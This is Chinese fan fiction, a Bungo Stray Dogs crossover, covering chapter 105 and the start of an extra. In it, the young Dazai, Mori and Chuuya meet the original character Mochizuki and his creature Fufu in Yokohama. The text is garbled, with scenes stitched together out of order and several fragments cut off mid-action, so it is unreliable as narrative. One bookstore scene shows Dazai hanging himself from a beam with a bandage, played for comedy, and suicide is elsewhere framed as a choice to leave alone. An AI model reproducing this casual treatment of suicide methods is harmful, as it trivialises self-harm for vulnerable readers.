“好还是坏,望月君就靠自己判断吧。” 大致检查过男人伤势的情况后,森鸥外举起剪刀小心翼翼地剪开了他的衣服,露出了男人身上血肉模糊的几个洞。 本来对他们讨论“医生”不感兴趣的太宰治,这时突然探头过来:“哇,是枪伤呢,这个男人是黑手党。” “嘛,毫不意外呢,”森鸥外叹着气回答,“横滨的黑手党一向都很活跃……,这也算是特产了吧。” “就是希望这位先生已经把敌人甩掉了,不要连累到我们诊所才好啊。” “黑手党是什么?”望月询问他们。 森鸥外意外地看了他一眼,黑手党在日本应该挺有名的吧,望月君竟然不知道吗? “是一种起源于意大利的秘密社会组织哦!” 欢快地回答完望月的问题后,太宰治好奇地看向病床上男人身上的伤口,眼中闪着奇异的光芒:“他会死吗?” “虽然中了很多枪,但他运气很好都没有伤到致命处,所以不会死哦。”森鸥外手上动作利落地割掉烂肉,挑出伤口内的子弹。 太宰治继续问道:“中弹的话会很痛吗?” 望月茫然地睁圆了眼睛。 太宰治已经喊出来了:“是变态啊望月!”如果这个变态大叔不脸红的话他也看不出什么问题,但关键是他脸、红、了! 此地无银三百两哇! 曾经是贵族的少年,见识过很多自诩上流社会的那些人的变态癖好。 “……变态是什么?”望月迟疑地问。 太宰治立马凑到他耳边叽里咕噜了一阵,望月的眼神也从茫然变成了厌恶,他也开口骂道:“变态。” 森鸥外试图挽回形象:“其实我和爱丽丝也没有你们想的那么糟糕……” 太宰治摆出不听不听的架势,拉着望月就往外走:“望月,我们还是不要和变态过多交流啦!” “等等!”森欧外追出门,“你们真的误会了我和爱丽丝了……” “都怪林太郎是个笨蛋!”爱丽丝站到他身边不满地开口,然后她突然就朝着望月和太宰治跑去,伸出手想要抓住他们的手。 “我和林太郎……”说到一半,她忽然恐惧地瞪大了眼睛。 太宰治也露出了惊讶的表情。 “爱丽丝!”在森鸥外的惊呼中,从爱丽丝握住太宰治的手开始,她的身体慢慢消散了。 “!!!” 在一片寂静中,森鸥外眼中的亮光渐渐消失,他语气不明地说:“原来太宰君还有这种能力,是异能吗?” “森医生才更让人感到吃惊吧?”太宰治讥讽地怼回去,“你不仅是异能者,爱丽丝也是你的异能啊。”原来是个用异能满足的自己的变态大叔。 望月想到了太宰治的异能[人间失格],是可以让所有异能都无效化的异能。而刚刚爱丽丝因为碰到他就消失了,所以显而易见的爱丽丝是被用异能创造出来的。 “嗨呀,这样看我似乎确实更可疑呢,不过我只是一个弱小的医生,为了不招惹麻烦不想暴露异能是很正常的吧,就像太宰君也不会到处和人说自己有异能对吧?”森鸥外主动放低姿态,重新展露出温和的笑容。 “不过,我刚刚态度不好也是关心则乱嘛,毕竟爱丽丝可是在我眼前消失了啊……太宰君可以告诉我你做了什么吗?” 太宰治的鸢眸灰暗,似乎在思考森鸥外这套说词的可信度。关心则乱……的确说得过去,毕竟森鸥外不知道他的异能效果究竟是什么,而他也不知道爱丽丝的消失会对森欧外造成什么影响,况且森鸥外刚才的语气也没有很咄咄逼人。 但真的是这样吗? 太宰治收敛思绪,笑着回答:“爱丽丝只是被无效化了哦。” 森鸥外也还在笑:“那无效化会有什么后果吗?” “无效化就是无效化啦。” “太宰君就不能讲得详细点吗?” “那森医生能不能先告诉我们爱丽丝是什么异能啊?” “爱丽丝就是爱丽丝啊。” 望月沉默地看着他们两个笑面虎你来我往地试探对方,开始心不在焉地薅芙芙身上的毛。 森医生没有攻击意图,不需要他出手。 不过爱丽丝只是异能的话,那么森医生似乎也没有那么变态了,只是有点一言难尽……不,让自己的异能变成幼女什么的果然还是很变态。 “芙!”不知道望月薅到了哪根毛,让芙芙被揪的有些痛了,它不舒服地喊了一声。 “咦?什么声音?”原本还在和太宰治互相试探的森鸥外转过头来,“是望月君手上的娃娃发出来的吗?” 他的嘴角上扬得更厉害:“原来还是会发声的娃娃么?” “如果爱丽丝在这里肯定会更喜欢的吧!”自言自语地说完,他靠近望月说道:“啊对了,其实我追出来一是想解释我和爱丽丝的关系……因为刚才的意外这个你们现在已经清楚了。” “二就是……太宰君不用那么防备,我没有恶意的。” 森鸥外笑眯眯地提醒:“就是我想说望月君身上还是不要带那么多宝石出门比较好哦。” “哼哼~果然太宰还是舍不得吾辈的身体对吧。既然这样的话,之前干嘛还要拒绝吾辈,人类雄性真是口是心非……” “……” 太宰治的脚步停了下来。 “唔、又干嘛啊太……” 望月轻快的声音顿时哽住,不由得愣住。 黑发青年脸上的笑容消失了。 微微垂下的脑袋,过长的刘海挡住了主人此时脸上的表情。 如果说之前太宰是在闹脾气的话…… 现在好像是真的生气了。 第 105 章 太宰线 太宰已经很少露出这样的表情了,尤其是脱离港口mafia之后。 或许是在黑手党时期留在身体的本能,黑发青年的身上依旧带着浓厚的,消散不去的黑暗气息。 而比起恐惧,望月更多的是困惑。 生气?为什么?“望月居然是会说出这样的话的人吗,我还以为望月会更冷酷地说‘与我无关’才对呢?”太宰治夸张地捂住嘴表示震惊。 望月疑惑道:“你以为的和我说没有区别吧?”什么叫作‘更冷酷’?不都是一个意思吗? “当然有区别。”太宰漫声说道,却也没有要继续解释的意思。 “芙!”一直在围观远处“羊”们的争吵和自己这边两脚兽谈话的芙芙突然出声。 望月和太宰治随着这声叫唤,齐齐将视线移到了有些犹疑地赭发少年身上。 和白濑争吵完后,赭发少年也注意到了一直待在不远处的两个少年。 犹豫了一会,他还是主动靠近他们:“你们是在这流浪的孩子吗?” “这句话你们已经问过我了哦。”太宰治懒散地回答他。 赭发少年凝神看了他一眼,迟疑问道:“……有么?”他怎么没印象? “是你们组织的其他人问的啦~但是我拒绝咯!” “好吧。” 他转过头问望月:“我之前没见过你,你是刚到擂钵街吗?要不要加入我们‘羊’,在这里未成年的孩子单独一个是很难生活的。” 还没等望月回答,太宰就插话道:“望月可不是一个人,我们是一起的哦!所以他也不会加入‘羊’的!” “?”赭发少年似乎不太相信,“你也不愿意吗?”那个缠着绷带的家伙就算了,给他感觉很糟糕……但这个抱着娃娃的跟女孩子似的孩子,没有人保护的话会活得很艰难吧? “嘛,算了,既然你们是一起的,那再问一遍好了。你们要不要一起加入‘羊’?” 太宰治就像被侵犯领地的猫咪一样嗷嗷叫:“你这个小矮子不要不听人讲话啊!我都说了我和望月是不会加入你们的!” 说完还看向望月,寻求赞同:“对吧,望月?” 虽然他表现的特别直气壮,仿佛望月一定会站在他这边,但是他看向望月的视线中藏着自己都没发现的期待。 望月淡然地收回和太宰治对上的视线,他对赭发少年说:“我对‘羊’不感兴趣。” 不仅是‘羊’组织,还有羊这种温顺的生物,这两者他都不感兴趣。 “好吧,这也是没办法的,”赭发少年也没有过多纠缠,他只是温和地说道,“我叫中原中也,如果你遇到麻烦可以来找我。” 太宰治拉着望月绕过他:“永远都不会找你的~” 和他们擦肩而过的那一瞬,中原中也感觉眼睛被什么闪了一下。 “等等。”他凭着直觉拽住了望月的斗篷。 太宰治的脸色蓦地就阴了下来。 望月低头看了眼自己的斗篷,啊,太宰拉他转身的时候好像让某个宝石露出来了,想不到只是这么一会都被中原中也发现。 于是他冷淡地问:“还有什么事吗?” 中原中也眉头皱的更紧,他看了眼远处等得有些不耐烦的白濑和柚杏,放轻音量说:“你不会就是大家都在传的那个满身宝石的有钱人吧?” “是我。”望月坦然承认。 “喂,你——怎么敢穿这一身出现在这里的!?”即使压低声音也能听出中原中也的难以置信,“不对,你既然是个有钱人干嘛还要来擂钵街?” “这里没你想的那么简单,你还是赶紧离开吧。” “不属于这里的有钱人,离开擂钵街”……,这句话他已经听很多遍了,但这次和别人贪婪的讥笑不一样,是善意的劝导。 于是望月想了想,简洁地回答他:“这里可能有我想寻找的东西。” “……我明白了,你放心,我不会把你身上有宝石的事告诉别人的。” “‘羊’就在那边,那个最大的房子,如果遇到麻烦可以来找我。”中原中也解这种想要寻找什么心情,所以他只是再次强调了他可以帮忙这件事。 “……” 望月没有回答,但中原中也似乎也不需要他的回答,他摆了摆手然后带着白濑和柚杏离开。 回到他们抢占的房屋后,在路上一直沉默的太宰治突然开口:“望月,你要小心那个小矮子。” “他可是发现了你身上有宝石哦~怎么大的诱惑他怎么可能忍得住,说不定那些不会告诉别人的话都是骗你的,目的就是让你放松警惕然后抓你个措手不及呢。” 望月将好不容易可以自由活动的芙芙放到地上,让它舒服地伸展四肢:“他会不会真的替我保密,我不在乎。” “反正他伤不了我。” 太宰治撇着嘴嘟囔:“这不在乎那不在乎的……” “芙!”芙芙抬爪拍了拍沮丧的太宰治,然后甩着尾巴跳上楼梯,回头见太宰治和望月都没有动作,它又叫唤了一声。 “欸?芙芙是要带我们去干什么吗?”太宰治好奇地迈步跟上它。 望月也慢慢走在他们身后。 走到目标的房间后,芙芙就发出了软软的叫声,它停在门前示意太宰治。 太宰治上前打开房门,里面是个干净的房间,床上甚至连被褥这些都有,可以直接睡上去。 “芙芙~”芙芙得意地看着他。 太宰治福至心灵地问:“这是你给我挑的房间吗?” 和之前闹脾气一样,完全理解不能。 望月安静了下来,任由太宰紧紧地抓着自己的手腕。 他在认真思考,一时间都没在意到对方把自己带去了哪里,或是说因为太过信任对方,去哪里也都无所谓。 银发少年的眉毛几乎快要打结成一团乱麻,在心中小声嘀咕起来。 该不会真的是因为自己去找了别的食物吃,所以生气了? 听前辈们说,某些吸血鬼的血仆知道自己的主人去吸食别人的血液而不来吸自己的血液时,会感到生气和不爽。 有的血仆甚至会和自己的主人吵架。 夜晚的偷袭除了让太宰被吓到失眠(?)外,并没有给望月他们带来什么影响。就像被丢到外面街道上的偷袭者的尸体没给擂钵街带来什么影响一样。 几天后加藤纱希小姐如约来收取他们缴纳的水电费,他们一次了一个月的水电费。这次没有掏出银行卡,加藤纱希小姐也很爽快的就离开了。 对此太宰治还感叹道:“女性真是内心温柔的生物。” 然后接下来的一个月,望月就穿着那身斗篷到处闲逛,只不过听太宰治的将有宝石的那面穿到了里面。他每天都在观察擂钵街的人们,有时目睹他们与敌人的打斗,有时目睹他们被同伴背叛。 见得越多,望月越发感到无趣,他逐渐收敛不停观察的金眸。 “望月,你究竟在寻找什么?”太宰治终于等到这一刻了,这一个月他每天都陪着望月一同出门就是为了等到望月倦怠的时刻。 望月平淡地开口:“很明显吗?” “超~明~显~哦~”太宰治轻快地回答,因为望月的行为就和刚到擂钵街的他一样呢,不停地好奇地注视这里,他是想要在这被社会抛弃的地方寻找到活着的意义,那么望月呢?是想找到什么? “这里每天都有人死。”望月摸着芙芙的耳朵。 “这不奇怪吧?”太宰治眸光暗沉地说,这绝对不是望月突然的悲春伤秋,要来了吗他刷好感的机会! “每个将死的人都是恐惧的,他们对死亡感到恐惧。”望月难得低迷地说道。 “可是我不明白,为什么会对死感到恐惧?不论我看多少次,我都不明白。” “死明明是很平常的一件事,为什么他们还是会恐惧呢?” “就算对别人的死不再恐惧,也会对自己的死而恐惧,我不明白。” 太宰治轻轻地问:“望月体会过死亡吗?” 望月点头:“嗯,我濒死过,但我并没有恐惧。所以我才不明白,为什么会对死感到恐惧。” “这样啊……”太宰治的鸢眸就像漩涡一般幽深,“望月真是与众不同呢。” “太宰,你是我见到的第一个期盼死亡的人,”回忆着平时太宰治不着调的自杀行为,望月说道,“但即使你期盼死,却也还是对死感到恐惧,你的行为其实更像一种自救。” 太宰治:“……” “……好吧,我真的很惊讶,”太宰治嗤笑,他想要的是谈望月的心,而不是谈他的心啊,“望月竟然有在思考我的问题吗?我还以为你一直都不在意呢。” “所以,你已经把我当成朋友了吧?” 在转移话题,太宰似乎不想聊关于自己的。望月平静地想。 他于是说道:“算是朋友。”太宰一直耐心的陪着他,不管他的目的如何,这种陪伴当然可以算朋友。 “那现在可以告诉我芙芙的身份了吗?” “不行。”他们只是普通朋友。 “唉,我就知道,”太宰治无可奈何似的叹了口气,然后又说,“望月想知道人为什么会对死亡感到恐惧,其实这个问题有很多答案。” “比如,因为死后的事是完全不可预知的,所以对死亡的恐惧其实是人类对未知的恐惧。” “再比如,从科学角度来讲,对死亡的恐惧是人体的一种自我保护,否则有机体就无法运作……” “嘛~答案多到说也说不清哦。” 太宰治摊手:“不如我带望月去一个好地方吧!那里说不定你就能自己找到答案了!” “?” 跟着太宰治离开擂钵街后,望月抬头望了望店面上的字。 “书店?” “怎么样,是个不错的地方吧?”太宰轻快地凑到他脸上问。 “芙……”芙芙恹恹地看了眼店铺。 太宰治惊讶道:“欸?芙芙不喜欢这里吗?” “芙。” “原来如此,是不喜欢读书啊。” 望月:“……” 想当初太宰还在问他是不是能听懂芙芙说的话,结果现在他也能和芙芙无障碍交流了。 太宰治边哄芙芙边拉着望月走进去:“没事哒没事哒~芙芙也不用读书,就当进去玩一下嘛。” “欢迎光临。”老板就算看清楚来书店的是两个小孩后也没什么特别的反应。 书店不大,却摆满了书。 太宰治将望月推进两个书架中间:“望月,你就自己寻找答案吧。” 望月也不在意太宰治打发他后想要干什么,他浏览着书架上的书籍,最终挑了本哲学书出来看。 芙芙无聊地在他怀里翻了个身,它圆圆的小眼睛好奇地盯着太宰治看。 太宰治先是像一抹幽魂一样在书店里飘了一圈,心中叹气地想,居然还是上一批的书,老板都不进点新货吗? 他的视线荡着荡着就从书架上荡到了房梁上。 哇哦,这跟房梁好笔直啊,好适合自杀呢~ “芙?”芙芙立直身体,迷茫地看着突然太宰治动作着将身上的绷带拆下来一长条,然后搬来书店内供人休息的凳子。他摇摇晃晃地踩着凳子将绷带甩上房梁,再把穿过房梁垂下来的绷带打上一个死结。 太宰治非常熟练地将头伸进绷带里,腿一蹬就将脚下的凳子踢开了。 老板震惊地发问:“小鬼,你在干嘛!?” 太宰治没他,反而因为窒息感不停地用拉扯脖子上的绷带,双腿也努力地晃动着。 “芙!”芙芙一跃冲向太宰治的方向。 望月也终于从书中抬起头,看到太宰上吊他竟然毫不意外,毕竟太宰静悄悄绝对在作妖,而从进书店开始他就有些安静的过头了。 恐怕又是他觉得无聊了,所以想来外面搞点自杀玩玩吧。 望月才不想管他,就那一根破旧的绷带能勒死谁,大概马上就要断了……太宰不会是想换绷带了,才用这种方法自杀的吧? 望月刚要收回视线,书店门口就被人从外面推开了。 穿着一身白大褂的男人一进门就被吓了一跳:“这是……?” “少年不要想不开啊!”反应过来的男人立即冲向太宰治,由于他的位置更靠近太宰治的缘故,他比书店老板和芙芙还要快的赶到,并一把托住了太宰治的大腿。 见到有人拯救了卷发的小孩,书店老板明显松了口气。 冲到一半的芙芙,也趁人没有注意到他的时候悄悄落回了望月的怀里。 虽然双腿被从下面托住了,但太宰治还是喘不过来气,他挣扎着一脚踹到白大褂男人的脸上。 “坚持住啊少年!”无辜被踹的男人鼓励地喊了一声,又转头焦急地对老板说,“我口袋里有手术刀,你快用它把绷带割断!” “好,好!”书店老板慌忙地从他口袋里掏出手术刀。 听到“绷带”,原本还在不停踹人的太宰治动作停了一瞬,在他混沌的思维中有什么一闪而过。 从进门看见他开始就一副很急的模样,却还有空观察勒住他的是绷带?这个男人…… 很快,经过书店老板和白大褂男人的共同努力,绷带因为太宰治的乱动而自己断了。 老板举着手术刀呆呆地看着倒在地上的两人,虽然他还没来得及动手,但这也算是解救少年成功了嘛。 就是绷带断开的瞬间,太宰治直挺挺地倒下让白大褂男人猝不及防地被压住了,等他艰难地将太宰治移开,重新站起来时头发都乱了。 脸上还挂着苦笑。 不知什么时候就一直观察着他们的望月瞳孔缩了缩,白大褂、望月乱的头发、还有看起来一样蠢的苦笑……他不由地抱着芙芙走过去。 缓过来太宰治还以为望月是要关心他:“我没事哦,望月~” 但望月直接越过他问白大褂男人:“你是医生?” 太宰治又委屈又不可置信地望着他,望月居然无视他!? “我么?”白大褂男人苦哈哈地指着自己,看见望月和他怀里的芙芙后弯起双眼道,“没错哦,我的确一个医生,不过只是一个没什么名气的小医生哈哈哈。” “啊对了,这位上吊的少年脖子受伤了,需要上点药呢,”白大褂男人温和道,“去我的诊所简单包扎下怎么样?” “可以。”还没等太宰治说话,望月就替他同意了。 于是太宰治更加幽怨地盯着他了,望月……想干嘛? 白大褂男人有些惊讶:“原来你是这位少年的朋友吗?那你陪他一起来我的诊所吧。” 望月颔首:“嗯。” “太好了,自我介绍一下,鄙人森鸥外。”森鸥外挠着头尬笑。 “望月。”阳高悬于天时,病床上的昏迷的男人终于醒了。 他睁开眼恍惚地望着室内在阳光下舞动的小粉尘,耳边是小孩子叽叽喳喳的声音。 “望月,快来帮我!我被绷带缠住了!” “可你不就是要缠绷带吗?” “不是这种缠啦!” “小芙芙不要跑~和爱丽丝一起玩吧!” “芙芙,芙!” 在这嘈杂的环境中,只是一个人发现他已经睁眼了,穿着白大褂的医生微笑着看向他:“哟,你醒了?” “伤口我已经简单处过了,但还是不要乱动比较好哦。” 温和地叮嘱完,医生还转头喊了一声:“病人已经醒了,大家都不要吵哦,好歹给病人一个安静的环境吧。” 屋内瞬间安静了下来。 还在和身上杂乱的绷带作斗争的太宰治鼓着腮帮子,在望月的耳边说着悄悄地:“森医生好虚伪啊,病人昏迷的时候不需要静养,人醒了就需要了。” 望月压低声音顺着他的思路猜测:“是因为森医生需要在他面前当一个好医生吗?” “答对了,望月越来越明白人情世故了呢。”太宰治感叹着。 但望月还有不解的:“可是森医生本来就救了他,在他那里应该已经是好医生了,为什么还要这么做?” “我才刚夸完你……”太宰治幽幽地叹气,“因为要让自己的好和帮助被人知道啊,这样对方会更感激的哦。” 对此,望月评价道:“哦。” 不解,他人的感激难道有什么用吗,值得耗费精力去获得? “……你根本就没懂。”望月的眉头向下一撇,太宰治就知道他在想什么。 “算了,以后你就会懂了。” “喔,没有姓氏吗?” “没有。” “那这位自杀的少年是……?” “我叫太宰治哦,大叔。” “大叔……哈哈哈,也没那么夸张吧。” 望月和太宰治跟着森鸥外来到偏僻小巷里最里面的房屋。 “哈哈,有点破旧,希望你们不要介意。”森鸥外尴尬地挠着黑色的齐肩短发。 随着“吱呀”一声,他将破旧的房门推开了一条缝隙,门外日头正盛,门内却一片漆黑。 仿佛只要进去了就到另一个世界了。 在森鸥外转身继续推门的时候,芙芙抬起脑袋询问般地望了望望月,又望了望不知道在想什么的太宰治。 注意到它的视线,望月安抚伸手地顺它的毛。 门被彻底推开后,森鸥外先一步走了进去,然后就见一道小巧的金色身影扑进他怀里。 “偷袭~!” 太宰治用手指捻起望月脸颊旁的碎发,在指尖上绕了绕,柔软的发丝很快便打了卷。 垂下的眼睫轻颤了一下,眸色微微闪动。 趁着望月认真观察着尾环时,太宰治俯下身体,在银发恶魔的头发上落下一个温柔无比的吻。 余光瞥到了窗外。 薄云不知何时被风吹散,月亮散发着自己清冷的光芒。 哈啊…… 他忍不住叹息出声,轻声说道。 “——今夜的月色真美啊。” …… 窗外,皎白的圆月挂在黑夜的幕布之上,似乎遥不可及。 而他将月亮拥入怀中。 第 106 章 番外一(上) *五年后和五年前的望月交换时空 …… “……这是什么情况?” 中原中也缓慢地眨了下眼睛,看着面前的白烟,下意识地脱口而出。 他一时间还没有反应过来。 就在半分钟前,中原中也刚一睁眼,正好抓住某只爬到自己身上的混蛋魅魔,小手相当不老实地抓住自己的被子,一看就是又想要干坏事。 赭发少年的额头上顿时爆出来一道红色的十字路口。 他磨了磨自己的后槽牙。 ‘望、月,你这家伙……’ 还没等中原中也这一记爆栗敲下去,他的面前忽然砰地一声冒出了一股浓浓的白烟。 “咳咳、搞什么……” 中原中也掩唇咳嗽,胸中的火气更甚,睁开眼睛刚要说什么时。 他这才发现,原本跨坐在自己身上的银发恶魔消失不见,取而代之的是比望月大了一点的银发青年。 “唔……好吵,吾辈还在睡觉哦中也……” “虽然我是说了如果没地方去可以来找我这句话……,但你们找过来的速度还是让我有些惊讶呢。” 早上说的话,晚上就找过来了啊,还以为疑心重的小孩子会犹豫一段时间呢。 森鸥外一边为爱丽丝扎上可爱的双马尾,一边无奈地看向各自坐在一条椅子上的望月和太宰治。 “是森医生先邀请我们的,你总不会是反悔了吧?”太宰治欢快晃着脚说道。 “哈哈哈,当然没有后悔,只是我还没收拾好房间,而且我的诊所比较小,除了主卧就只有书房和客厅的有床。”森鸥外指了指他和爱丽丝坐着的病床。 “这张是病床,平常会躺一些伤患,恐怕不能睡人。” “太宰君和望月君睡一间房没问题吧?” “当然没问题~我和望月本来就是睡一间房的。”太宰治学着他的语气说道。 森鸥外笑着挠头:“这样么,原来望月君和太宰君的关系这么好啊。” 望月说明原因:“这只是因为太宰太容易死了。” 多次自杀却没有一次成功的太宰治不可置信地瞪圆眼睛:?? 谁容易死?……他吗? “望月是在傲娇吗?”沉默半响,太宰治震惊地开口。是因为和他一起睡害羞了,所以随便找了个借口? 望月迷茫地歪头:“‘傲娇’是什么?” “……” 好吧……,虽然太宰治知道望月是为了防止他那次被半夜暗杀的事再次发生,才和他一起睡的,但望月居然是真心认为他很容易死的吗? 可是他自杀的时候从来不避着他啊,上吊、跳楼、吃毒蘑菇的时候望月都看见了啊!那么多次作死行为都没让他死,所以到底是什么让望月产生了他很容易死这样的误解!? 长时间的相处,不止是让太宰治更了解望月,也让望月更了解他了,看着神情纠结的太宰治,望月解释道:“如果有人要杀你,你没有反抗的力量,所以很容易会死。” 他简单的总结:“你被杀就会死。” “啊……”太宰治懵懵地看着他,虽然望月最后的总结就像是在说废话,但好像的确是这个道。 森鸥外饶有兴趣地加入他们:“所以望月君是为了保护太宰君才和他睡一起的吗?” “嗯。” “你们关系真好呢~” “才没有!”这回换太宰治反驳了,他忿忿地说,“我和望月的关系才那么好呢!” “望月保护我不被人杀死,只是为了让自己不愧疚吧,因为想要杀我的人都是望月招惹的嘛!”那些人全部都是冲着望月的宝石来的! “望月才不是真心要保护我的。” “但我保护你不被别人杀死不就是在保护你吗?”望月疑惑地望着他,有人因为他想杀太宰,所以他保护太宰,这样的逻辑不是很通顺吗?太宰在生什么气? “保护我和保护我不被别人杀死才不一样!”太宰治扑腾地回答,“你真的在保护我的话,为什么我在自杀的时候从来不阻止?” “所以你都是为了自己才保护我的,根本不是因为我们关系好才保护我的!” 原来是因为这个。 望月平静地开口:“我没说过我们关系好。”是森医生说的。 听到他这样说,太宰治的卷毛都要翘上天了! 但还没等太宰治发飙,望月又说:“至于你自杀的时候我为什么不救你……” “这是你的选择吧,既然你已经作出选择了,无论是自杀或者别的什么,我都就不会阻止。” 太宰治的头发慢慢垂下,他震惊地连生气都忘了,这句话好熟悉,好像在他们讨论“羊之王”的时候望月也说过,但那时他还能嘲笑望月竟然是会说出这种话的人,现在他却什么也说不出。 所以望月在他放任他自杀是因为在尊重他的选择吗? 鸢色瞳眸中惊起波澜,太宰治抬手捂着胸口。 欸,这种心里泛着酸软的感觉是这么回事啊? 森鸥外一直默默看着他们吵吵闹闹,现在见太宰治陷入迷茫,他又忍不住微笑:“这关系不是很好吗?” 果然是年轻人,做什么都有活力,关系好不好这种事也可以争论。 不过太宰君最后的表情真是相当精彩啊。 森鸥外将扎好头发的爱丽丝放下:“爱丽丝~已经头发重新扎好咯,以后要和太宰君还有望月君好好相处哦!” 爱丽丝脚踏在地上后,不安地扯着森鸥外的衣角远离太宰治:“林太郎让太宰以后离我远一点啦!这样就能好好相处了!” “也是呢,不然被太宰君碰到的话,我的爱丽丝就又要消失了。”森鸥外揉着她金色的脑袋叹息。 “太宰君,可以请你不要太靠近爱丽丝吗?” “我又不是变态大叔,对小鬼头才没兴趣呢,我喜欢的是成熟女性啦。”太宰治随口说道。 “太宰君也是个小孩子嘛。”森鸥外无奈叹道。 然后他带着爱丽丝走到一扇门前,将门推开:“主卧的床会更大一些,以后太宰君和望月君就睡在这里吧。” 太宰治好奇地靠近,并且恶趣味地贴着爱丽丝站,看见爱丽丝惧怕地后退后才转头大致看了眼卧室。 还挺整洁的。 他抱着双臂瞥了望月一眼:“我是没问题,就是不知道某个和我关系不好的家伙有没有问题了。” “……我没问题。”望月搞不懂,反驳他们关系好的是太宰治,但因为他没说‘没说过他们关系好’生气的也是太宰治。 他们真的都是人类吗,……为什么太宰那么难懂? “太好了,那你们就早点休息吧,已经很晚咯,小孩子要早睡早起才会长身体哦。”森鸥外建议道。 “知道了。”更靠近主卧的太宰治率先走了进去。 望月跟在他后面进去,路过爱丽丝时她的眼睛依旧渴望地盯着芙芙。 望月脚步一顿,和她对视上,说道:“芙芙不是娃娃。” 早有准备的芙芙抖着耳朵朝她娇娇地叫着:“芙芙~” “哇!”爱丽丝惊奇地看着它,“芙芙是活的!” 森鸥外眼中也闪过一丝意外,虽然他猜测芙芙不可能是简单的娃娃,但知道它是活的时还是很惊讶,毕竟这可是从来没见过的生物。 和还是个孩子的太宰治不同,作为大人的森鸥外可以确信芙芙绝对是非常非常特殊的存在。 但就在他想继续问清楚的时候望月关门了,他还从里面把门反锁了。 森鸥外:“……” 这是用行动表明了他不打算继续交谈了啊。 “唉,好吧,让望月君和太宰君要好好休息哦。”像慈父一般叮嘱着,森鸥外心情还算不错的前往次卧,他得将次卧收拾的能住人才行。 虽然望月君不愿意多说芙芙的身份,但是愿意让他知道芙芙是特殊的生物也算是在表明信任吧。 对待小孩子可不能着急啊。 望月抱着芙芙走到床边时,太宰已经霸占了大半的位置,他还语气冷漠地问:“你让森医生知道芙芙了?” “嗯。” 太宰治对此不算意外,因为芙芙是活着的有自我意识的生物,如果要在森鸥外这里生活这件事根本瞒不住他。所以既然迟早会被发现,倒不如主动坦白。这样还能让芙芙过的舒服一点。 望月扯过太宰治身上一半的被子将芙芙塞进去,然后他才开始脱下斗篷。 看着在被窝里伸懒腰的芙芙,太宰治收回想要把被子扯回来的手,改为摸芙芙的脑袋。 “芙~”芙芙舒服地眯起眼。 太宰治刚弯起眼睛就感受到了旁边的位置微微往下陷,他瞬间又冷下了脸。 “……” 望月躺在床上听着太宰治把灯关掉的声音,蓦地开口:“太宰。” “……” “我也没说我们关系不好。” 太宰治倏地睁开眼睛:“……什么意思?” “如果你真的想知道的话,我觉得我们的确算是关系好。”他从来没和别人睡过一张床,但自从来到横滨后几乎天天都和太宰睡在一起……他们好像每天都不会分开。 “……”望月伸出手指戳在绷带上,发动异能,但绷带没有任何变化。 望月:“……” 太宰治的[人间失格]无效了他的异能。 太宰治看着他的动作呆愣了几秒,然后大呼小叫起来:“望月,你就不能用自己的手帮忙嘛?!”就算是他也没想到,望月竟然打算用异能帮他,哪有人连这么简单的事都要用异能的?这也太依赖异能了吧! 异能没用,望月只能按太宰说的上手扯了。 “越扯越紧了!” “你别动。” 另一边的芙芙因为病床上的男人醒了,紧急之下为了不暴露直接在原地僵住伪装成娃娃。于是它就被爱丽丝一把抱进怀里。 爱丽丝很开心:“好耶,抓住小芙芙了!” 诊所内很快就又吵闹了起来。 感觉说话没人听的森鸥外:“……” 以为森鸥外说话会有人听的、需要静养的男人:“……” “哈哈哈,小孩子就是活泼啊。”森鸥外朝着男人尴尬地笑道。 “……是的,他们很可爱。”男人艰难地开口回答,不过也是因为这些孩子,他在心里对森鸥外的警惕下降了不少。 一个他自己随便找的诊所,里面还有这么多小孩子,应该不可能是敌人的陷阱。至于这个医生为什么要救他,也许是因为他本来就是个心善的好人。 他诊所里的这些活泼的小孩就是最好的证明,这么多孩子总不能都是他的孩子吧,应该还有他收养的。况且这些孩子对他也没有畏惧,也不像是受到虐待的样子,所以这个医生应该就是个好心人。 “感谢你救了我,……我叫上石安平。” “我叫森鸥外,因为你倒在诊所门口,所以我就顺手救了你,不过救治你花了我不少药材和精力,你事后能付款就更好了。”森鸥外挠着脑袋苦笑道。 他要钱的行为更让上石安平放心了,如果他什么都不要才是最可疑的。 上石安平承诺道:“请放心,事后我一定会支付足够的医疗费的给你。” 之后再经过和森鸥外的聊天,上石安平得知了诊所的三个小孩中只有小女孩爱丽丝是森鸥外的女儿,其他两个男孩是他收养的,这证实了他心中的猜测。 于是上石安平彻底放下警惕了。 无声地过了一会儿,太宰治忽然轻快地问:“那望月现在可以告诉我芙芙的秘密了吗?” “不可以。” “不是你说的我们关系好吗!?” “但是没好到可以告诉你的程度。” “望月——!”太宰治发出了超级不满地声音。 “芙——!”这是芙芙在跟着一起叫唤。 “砰哒!” 望月被什么落地的声音惊醒,他猛地坐起,在黑暗中观察房间。 不是这间屋子的问题。 太宰治跟着揉眼坐起:“好吵,是什么声音。” 望月冷静地回答:“外面传进来的。” 太宰治厌烦道:“难道森医生的诊所里进了什么奇怪的东西?” “出去看看。”望月沉思着开口。 “芙~?”芙芙抬起脑袋望向他。 望月安抚道:“芙芙就待在这里吧。” “好烦啊,我好不容易才睡着的。”太宰治嘀嘀咕咕的,都怪望月突然说什么他们关系好这种话,害得他又半夜失眠。 还有外面吵醒他的家伙,最好是真的有事,不然他才刚睡下就被吵醒的怒火可是很可怕的。太宰治嘴角挂着恶意的笑,带着一身黑气跟着望月走出卧室。 比他们更早到客厅的是森鸥外和爱丽丝。 诊所的门大开着,一个浑身是血的男人倒在门口,门上还留有一条长长的血痕,似乎是有人原本靠在门上后面又滑下造成的。 正苦恼地将男人往里面搬的森鸥外看见望月和太宰治后无奈道:“吵醒你们了吗?” “抱歉啊,因为他倒在门口所以我开门的时候才会发出那么大的声音。” “你们可以回去继续睡哦,不用担心。” “虽然只是个小诊所,但我毕竟是个医生,总有人受伤了就会来我这里。” “很正常的。” 五年后的望月怎么这么……他的脑袋快要爆炸了! …… 与此同时,另一边的世界。 望月根本还没有意识到自己身上发生了什么事,脑内一直停留在中也的那张气势汹汹的黑脸。 “呜哇哇,请放过吾辈吧中也大人,不要敲吾辈的脑袋吾辈什么都会做的呜呜——” 以为自己的脑袋又要挨揍的望月紧闭着眼睛,嗷嗷叫唤着大声求饶。 然而,耳边响起的,属于中原中也的声音似乎低沉了些。 还带着某种惊讶与疑惑。 “……望月?” “唔,中也不揍吾辈了吧……” 望月一边嘀咕着,一边颤颤巍巍地睁开一边的眼睛,试图观察对方此时脸上的表情,但凡发现情况不对就继续滑跪求饶。 